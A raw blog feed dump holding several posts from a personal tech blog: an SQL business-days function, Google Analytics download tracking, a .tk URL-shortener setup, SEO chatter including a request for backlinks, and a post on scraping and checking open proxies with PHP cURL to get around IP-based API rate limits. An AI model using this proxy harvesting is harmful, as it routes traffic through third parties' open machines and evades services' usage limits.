&lt;h1&gt;&lt;a href="http://www.google.com/search?q=murder"&gt;Google Murder&lt;/a&gt;&lt;/h1&gt;&lt;br /&gt;
Do you know of any other bombs that still exist?&lt;br /&gt;
Id love your help to get me to rank on the first page for "carter" that&amp;nbsp;president&amp;nbsp;is killing me with his domain authority. to help me drop a link for me on something you control&lt;br /&gt;
&lt;script class="brush: vb;  html-script: true" type="syntaxhighlighter"&gt;
&lt;![CDATA[ &lt;a href="http://cartercole.net"&gt;carter&lt;/a&gt; ]]&gt;
&lt;/script&gt;Isnt SEO funny? Ill let yall know when im ranking for "carter"&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-3896354574763392838?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/D-CoxDzINCU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/3896354574763392838/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/02/anti-abortion-sites-create-google-bomb.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3896354574763392838?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3896354574763392838?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/D-CoxDzINCU/anti-abortion-sites-create-google-bomb.html" title="Anti-Abortion sites create a Google Bomb for murder" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-WlYiiBhcb7E/TWfIP81MhKI/AAAAAAAABV4/xrLZo_Vyxfs/s72-c/gbomb.PNG" height="72" width="72" /><thr:total>0</thr:total><georss:featurename>Cypress, TX 77429, USA</georss:featurename><georss:point>29.9511394 -95.6706085</georss:point><georss:box>29.8767714 -95.787338 30.0255074 -95.553879</georss:box><feedburner:origLink>http://blog.cartercole.com/2011/02/anti-abortion-sites-create-google-bomb.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYCRn0_fCp7ImA9Wx9bFUo.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-2729563274074442105</id><published>2011-02-24T12:08:00.000-08:00</published><updated>2011-02-24T12:09:27.344-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-24T12:09:27.344-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql" /><category scheme="http://www.blogger.com/atom/ns#" term="datediff" /><category scheme="http://www.blogger.com/atom/ns#" term="code" /><title>Calculating business days between dates in SQL (a datediff function without weekends)</title><content type="html">Im having to kinda roll my own simplest cms in the world for a customers contact script and they want to know how many business days are between the customer contact and when they responded. After some digging and optimization this is the DATEDIFF sql function I came up with that excludes weekends...&lt;br /&gt;
&lt;br /&gt;
&lt;pre type="syntaxhighlighter" class="brush: sql;"&gt;SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO

CREATE FUNCTION BDATEDIFF
(
 @startdate as DATETIME,
 @enddate as DATETIME
)
RETURNS INT
AS
BEGIN
 DECLARE @res int
 
SET @res = (DATEDIFF(dd, @startdate, @enddate) + 1)
  -(DATEDIFF(wk, @startdate, @enddate) * 2)
  -(CASE WHEN DATEPART(dw, @startdate) = 1 THEN 1 ELSE 0 END)
  -(CASE WHEN DATEPART(dw, @enddate) = 7 THEN 1 ELSE 0 END)
  
 RETURN @res

END
GO
&lt;/pre&gt;&lt;br /&gt;
Ill add holiday support if i have time but it shouldn't be tough at all just select count of holidays that fall between the dates and subtract it from the total. Hope someone finds this usefull :)&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-2729563274074442105?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/BkC-iElHX4Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/2729563274074442105/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/02/calculating-business-days-between-dates.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2729563274074442105?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2729563274074442105?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/BkC-iElHX4Q/calculating-business-days-between-dates.html" title="Calculating business days between dates in SQL (a datediff function without weekends)" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/02/calculating-business-days-between-dates.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEAHR3ozfip7ImA9Wx9bE0U.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-802255844365896767</id><published>2011-02-22T06:58:00.000-08:00</published><updated>2011-02-22T06:58:56.486-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-22T06:58:56.486-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="Google Analytics" /><category scheme="http://www.blogger.com/atom/ns#" term="tip" /><category scheme="http://www.blogger.com/atom/ns#" term="tracking" /><category scheme="http://www.blogger.com/atom/ns#" term="code" /><title>Easy pdf download event tracking with jQuery and Google Analytics</title><content type="html">&lt;b&gt;Quick tip:&lt;/b&gt;&lt;br /&gt;
One of the things we wanted to add was a generic script to track  pdf downloads as events in GA so i wrote this real quick... ill probably add in some other flavors based on prototype or another library later but for now this is a quick and easy post to try and get me in the habit of publishing again&lt;br /&gt;
&lt;br /&gt;
&lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[
jQuery(function(){jQuery('a[href$=".pdf"]').click(function(){

_gaq.push(['_trackEvent', 'Download', 'Pdf', this.href]);

})});

]]&gt;&lt;/script&gt;&lt;br /&gt;
&lt;br /&gt;
you can easily modify this to also look for powerpoint or txt file whatever... just change the extension in the jQuery selector&lt;br /&gt;
&lt;br /&gt;
&lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[
jQuery(function(){jQuery('a[href$=".txt"]').click(function(){

_gaq.push(['_trackEvent', 'Download', 'Txt', this.href]);

})});

]]&gt;&lt;/script&gt;&lt;br /&gt;
&lt;br /&gt;
Do you have any cool Google Analytics scripts you use around your sites? Id love to hear about some other ideas for what to track&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-802255844365896767?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/VQuhh-5_zRo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/802255844365896767/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/02/easy-pdf-download-event-tracking-with.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/802255844365896767?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/802255844365896767?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/VQuhh-5_zRo/easy-pdf-download-event-tracking-with.html" title="Easy pdf download event tracking with jQuery and Google Analytics" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/02/easy-pdf-download-event-tracking-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMGR3o4eip7ImA9Wx5aGUo.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-1530954276501839277</id><published>2010-11-16T21:30:00.000-08:00</published><updated>2010-11-16T21:40:26.432-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-11-16T21:40:26.432-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="branding" /><category scheme="http://www.blogger.com/atom/ns#" term="shortner" /><category scheme="http://www.blogger.com/atom/ns#" term="bit.ly" /><title>My new shortener is CCole.tk, heres how to get your own, for free</title><content type="html">&lt;div&gt;&lt;img border="0" src="http://bit.ly/pro/static/v36/graphics/pfish_top.png" style="border: 0px; padding: 0px; position: relative; top: 5px;" /&gt;&lt;br /&gt;
&lt;img border="0" src="http://bit.ly/pro/static/v36/graphics/logo_pro.png" style="background: white; border: 0px; border: 2px solid #eeeeee; padding-left: 30px; padding: 15px;" /&gt;&lt;/div&gt;I started playign with Bit.ly again tonight, i got access to the Pro Beta awhile ago and after setting up my domain &lt;a href="http://cartercole.com/" style="color: #cccccc; text-decoration: none;"&gt;carter&lt;/a&gt;cole.com I never added in the A records for a true shorter url. (you can &lt;a href="http://bit.ly/a/pro_request"&gt;get the pro signup here&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
Then i remembered about &lt;a href="http://blog.cartercole.com/2010/10/tk-api-wordpress-mu-cpanel-with.html"&gt;my new best buddies over at .tk&lt;/a&gt; and went and got ccole.tk (prettymuch anything over 4 letters is fair game and free) so im kinda cheap and while im working on changing my mindset i still like to use free services where I can so i hit up the &lt;a href="http://freedns.afraid.org/"&gt;free dns service&lt;/a&gt; and pointed my A record to the bit.ly ip&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_1E9ugxJlis4/TONmw9jYLCI/AAAAAAAABSg/HlFA_vssQ1s/s1600/cctk.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="147" src="http://3.bp.blogspot.com/_1E9ugxJlis4/TONmw9jYLCI/AAAAAAAABSg/HlFA_vssQ1s/s320/cctk.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
so once the domain was registered and pointed all using free services i got all these pretty charts and my tweet of victory&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_1E9ugxJlis4/TONnb-Tg1AI/AAAAAAAABSk/5xufCIJdO2k/s1600/bitlypro.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="229" src="http://3.bp.blogspot.com/_1E9ugxJlis4/TONnb-Tg1AI/AAAAAAAABSk/5xufCIJdO2k/s320/bitlypro.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Now when sharing from my bit.ly dashboard I get my custom domain and all kinds of neato stats aswell&lt;br /&gt;
&lt;!-- http://twitter.com/#!/CarterCole/status/4757761397100544 --&gt; &lt;img src="http://my.dot.tk/cgi-bin/amb/landing.dottk?nr=346007::8718805::1::16" style="padding:0px;border:0px;" height="1" width="1"&gt;&lt;style type='text/css'&gt;.bbpBox4757761397100544 {background:url(http://a1.twimg.com/profile_background_images/25359334/00000001.jpg) #373737;padding:20px;} p.bbpTweet{background:#fff;padding:10px 12px 10px 12px;margin:0;min-height:48px;color:#000;font-size:18px !important;line-height:22px;-moz-border-radius:5px;-webkit-border-radius:5px} p.bbpTweet span.metadata{display:block;width:100%;clear:both;margin-top:8px;padding-top:12px;height:40px;border-top:1px solid #fff;border-top:1px solid #e6e6e6} p.bbpTweet span.metadata span.author{line-height:19px} p.bbpTweet span.metadata span.author img{float:left;margin:0 7px 0 0px;width:38px;height:38px} p.bbpTweet a:hover{text-decoration:underline}p.bbpTweet span.timestamp{font-size:12px;display:block}&lt;/style&gt; &lt;div class='bbpBox4757761397100544'&gt;&lt;p class='bbpTweet'&gt;&lt;a href="http://ccole.tk/9w4rnT" rel="nofollow"&gt;http://ccole.tk/9w4rnT&lt;/a&gt;  zOmg check out that sweet new url shorter :)&lt;span class='timestamp'&gt;&lt;a title='Wed Nov 17 04:48:33 +0000 2010' href='http://twitter.com/#!/CarterCole/status/4757761397100544'&gt;less than a minute ago&lt;/a&gt; via &lt;a href="http://bit.ly" rel="nofollow"&gt;bitly&lt;/a&gt;&lt;/span&gt;&lt;span class='metadata'&gt;&lt;span class='author'&gt;&lt;a href='http://twitter.com/CarterCole'&gt;&lt;img src='http://a0.twimg.com/profile_images/1146798452/Carter-Cole_normal.jpg' /&gt;&lt;/a&gt;&lt;strong&gt;&lt;a href='http://twitter.com/CarterCole'&gt;Carter Cole&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;
CarterCole&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;!-- end of tweet --&gt;&lt;br /&gt;
&lt;br /&gt;
Have yall got your beta invites yet? What do you think about the .tk tld? Stupid &lt;a href="http://media.twitter.com/blackbird-pie/"&gt;Blackbird Pie&lt;/a&gt; tweet embed extension doesn't recognize ajaxy urls... what gives with that? Talk in the comments, i dare ya&lt;br /&gt;
&lt;br /&gt;
oh and for a free name to use &lt;a href="http://my.dot.tk/cgi-bin/amb/landing.dottk?nr=346007::8718805::1::16"&gt;just get a free .tk&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-1530954276501839277?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/st4Ut7L6_hA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/1530954276501839277/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2010/11/check-out-this-sweet-new-url-shortener.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/1530954276501839277?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/1530954276501839277?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/st4Ut7L6_hA/check-out-this-sweet-new-url-shortener.html" title="My new shortener is CCole.tk, heres how to get your own, for free" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_1E9ugxJlis4/TONmw9jYLCI/AAAAAAAABSg/HlFA_vssQ1s/s72-c/cctk.JPG" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://blog.cartercole.com/2010/11/check-out-this-sweet-new-url-shortener.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEICQ3c4eyp7ImA9Wx5aFU8.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-5230658571310914807</id><published>2010-11-11T09:06:00.000-08:00</published><updated>2010-11-11T17:49:22.933-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-11-11T17:49:22.933-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SEO" /><category scheme="http://www.blogger.com/atom/ns#" term="photos" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Google's new preview very Bing-esk but even better</title><content type="html">&lt;div class="separator" style="clear: both; text-align: left;"&gt;I thought i was in another preview but from what i can tell the new page screenshot features are going live to all datacenters. Their preview is&amp;nbsp;different&amp;nbsp;(and better) than what other search engines have&amp;nbsp;implemented&amp;nbsp;in the past because their content previews show real text and show where its found on the page...&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_1E9ugxJlis4/TNwe75bzl5I/AAAAAAAABSc/Aj1tEmONtNs/s1600/tgest.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="304" src="http://3.bp.blogspot.com/_1E9ugxJlis4/TNwe75bzl5I/AAAAAAAABSc/Aj1tEmONtNs/s400/tgest.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Something I think this helps prove to me (although I already really believed it was being done) is that Google at least is in fact able to interpret and understand the complex positioning of elements and that footer link detection is&amp;nbsp;probably&amp;nbsp;trivial to them&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;It will be&amp;nbsp;interesting&amp;nbsp;to see how hidden text&amp;nbsp;appears&amp;nbsp;in these previews and if spam results are easier to spot in SERPS. Something to note is that flash is broken in the previews so if your site uses flash and cares about the preview that much they may want to have styles that unhide the flash and have a static picture that can stand in so the entire site doesnt look broken do to the thumbnail not rendering the content for that&amp;nbsp;embedded&amp;nbsp;movie&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;What&amp;nbsp;implications&amp;nbsp;do you think the new preview has for SEO and SERPs? Do you think the big G is doing too much to copy Bing's tools? It seems like they found another tool that may be effective and updated it to the level that we have come to expect from Google.&lt;/div&gt;&lt;br /&gt;
Heres how you could do the alt HTML for a java applet&lt;br /&gt;
&lt;script class="brush: vb;  html-script: true" type="syntaxhighlighter"&gt;
&lt;![CDATA[
&lt;img src="http://img2.blogblog.com/img/video_object.png" style="background-color: #b2b2b2; height: 100px; width: 50px; " class="BLOGGER-object-element tr_noresize tr_placeholder" id="BLOGGER_object_0" data-original-id="BLOGGER_object_0" /&gt;
]]&gt;
&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-5230658571310914807?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/3JN0ci0QSIE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/5230658571310914807/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2010/11/googles-new-preview-very-bing-esk-but.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/5230658571310914807?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/5230658571310914807?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/3JN0ci0QSIE/googles-new-preview-very-bing-esk-but.html" title="Google's new preview very Bing-esk but even better" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_1E9ugxJlis4/TNwe75bzl5I/AAAAAAAABSc/Aj1tEmONtNs/s72-c/tgest.PNG" height="72" width="72" /><thr:total>2</thr:total><georss:featurename>Houston, TX, USA</georss:featurename><georss:point>29.7628844 -95.3830615</georss:point><georss:box>29.1668324 -96.31689949999999 30.3589364 -94.4492235</georss:box><feedburner:origLink>http://blog.cartercole.com/2010/11/googles-new-preview-very-bing-esk-but.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUQGRXg_cSp7ImA9Wx5UGUo.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-6145130462951807236</id><published>2010-10-24T20:28:00.000-07:00</published><updated>2010-10-24T20:28:44.649-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-10-24T20:28:44.649-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="API" /><category scheme="http://www.blogger.com/atom/ns#" term="XML" /><category scheme="http://www.blogger.com/atom/ns#" term="proxies" /><title>Proxies proxies everywhere and all for free</title><content type="html">SEO Site Tools has gone into an intensive development kick working to get everything ready for v3.0 framework upgrade and more features like export and reporting as well as more metrics and integration to some other services (Google Analytics, Webmaster Tools), but some of this data cant be gathered by the&amp;nbsp;extensions&amp;nbsp;and IP based API rate limit how much data you can pull, so thats where proxies come in, they let you&amp;nbsp;mascaraed&amp;nbsp;as other IPs from other places... I need a big list of proxies to do the dirty work and by&amp;nbsp;modifying&amp;nbsp;a few open source projects ive built my list to 1505 open proxies in just a couple days. Heres how my dealie works...&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;First i took an &lt;a href="http://sourceforge.net/projects/phpwatch/"&gt;open source uptime monitor&lt;/a&gt; and created my own plugin to test HTTP proxies using cUrl and PHP&lt;br /&gt;
&lt;br /&gt;
Heres my proxy checker plugin code...&lt;br /&gt;
&lt;script class="brush: php;  html-script: true" type="syntaxhighlighter"&gt;
&lt;![CDATA[
        public function queryMonitor()
        {
          $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://upmon.tk/proxyjudge.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_PROXYPORT, $this-&gt;port);
curl_setopt($ch,CURLOPT_TIMEOUT,$this-&gt;config['timeout']); 
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($ch, CURLOPT_PROXY, $this-&gt;hostname);
$info = curl_getinfo($ch);
$data = curl_exec($ch);

curl_close($ch); 
  $res = @simplexml_load_string($data);
if(is_numeric(intval($res-&gt;level))){
 return array(true,$info['connect_time']);
 }
   
            return array(false,$info['connect_time']);
        }

]]&gt;
&lt;/script&gt;&lt;br /&gt;
I found it could only connect out port 80 (firewall i guess) so I built my script to only check those it finds with valid ports&lt;br /&gt;
&lt;br /&gt;
heres a shot of my dashboard&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_1E9ugxJlis4/TMTkiS1gO3I/AAAAAAAABR8/I9V7HBhtjnk/s1600/proxy-dashboard.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="168" src="http://1.bp.blogspot.com/_1E9ugxJlis4/TMTkiS1gO3I/AAAAAAAABR8/I9V7HBhtjnk/s320/proxy-dashboard.JPG" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;1505 proxies up what what&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;I changed the code that runs the template so i can pass an API parameter to pull xml or json proxy list and status as well as hacking some code so my proxy scraper could add items (and password protection)... oh heres a sample return from my proxy tester API (returns XML for simple&amp;nbsp;parsing)&lt;br /&gt;
&lt;script class="brush: vb;  html-script: true" type="syntaxhighlighter"&gt;
&lt;![CDATA[
&lt;proxytest&gt;&lt;headers&gt;&lt;http_accept&gt;application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;/HTTP_ACCEPT&gt;
&lt;http_accept_encoding&gt;gzip,deflate,sdch&lt;/HTTP_ACCEPT_ENCODING&gt;
&lt;http_accept_language&gt;en-US,en;q=0.8&lt;/HTTP_ACCEPT_LANGUAGE&gt;
&lt;http_accept_charset&gt;ISO-8859-1,utf-8;q=0.7,*;q=0.3&lt;/HTTP_ACCEPT_CHARSET&gt;
&lt;http_host&gt;upmon.tk&lt;/HTTP_HOST&gt;
&lt;http_cookie&gt;__utmz=150957298.1287713248.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=150957298.124498746.1287713248.1287713248.1287715075.2; PHPSESSID=2b928834a713b31d8d6631256cca382c&lt;/HTTP_COOKIE&gt;
&lt;http_user_agent&gt;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7&lt;/HTTP_USER_AGENT&gt;
&lt;remote_addr&gt;99.188.43.117&lt;/REMOTE_ADDR&gt;
&lt;http_connection&gt;keep-alive&lt;/HTTP_CONNECTION&gt;
&lt;/headers&gt;
&lt;level&gt;0&lt;/level&gt;
&lt;result&gt;Elite Proxy, connection looks like a regular client&lt;/result&gt;
&lt;/proxytest&gt;
]]&gt;
&lt;/script&gt; That lets me simplexml_load_string to test and see what level proxy it is... they go something like&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Elite Proxy, connection looks like a regular client&lt;/li&gt;
&lt;li&gt;Anonymous Proxy, no ip is forworded but target site could still tell it's a proxy&lt;/li&gt;
&lt;li&gt;Transparent Proxy, ip is forworded and target site would be able to tell it's a proxy&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;and are graded by how and what headers are returned by the proxy (ill upload my proxy judge code later if anyone wants it) so then to make the process even easier i decided i would use some&amp;nbsp;crowd sourcing techniques, i made a script to scrape proxies from text using regex and then made a page to test proxies... then i test the proxies and add the good ones to my database&amp;nbsp;:) i also found a few proxy lists on google and setup a cron job to run and scrape their proxies every few hours...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;if you have any questions feel free to bother me... thats what im here for&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-6145130462951807236?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/RbU2B-hWuZs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/6145130462951807236/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2010/10/proxies-proxies-everywhere-and-all-for.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/6145130462951807236?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/6145130462951807236?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/RbU2B-hWuZs/proxies-proxies-everywhere-and-all-for.html" title="Proxies proxies everywhere and all for free" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" 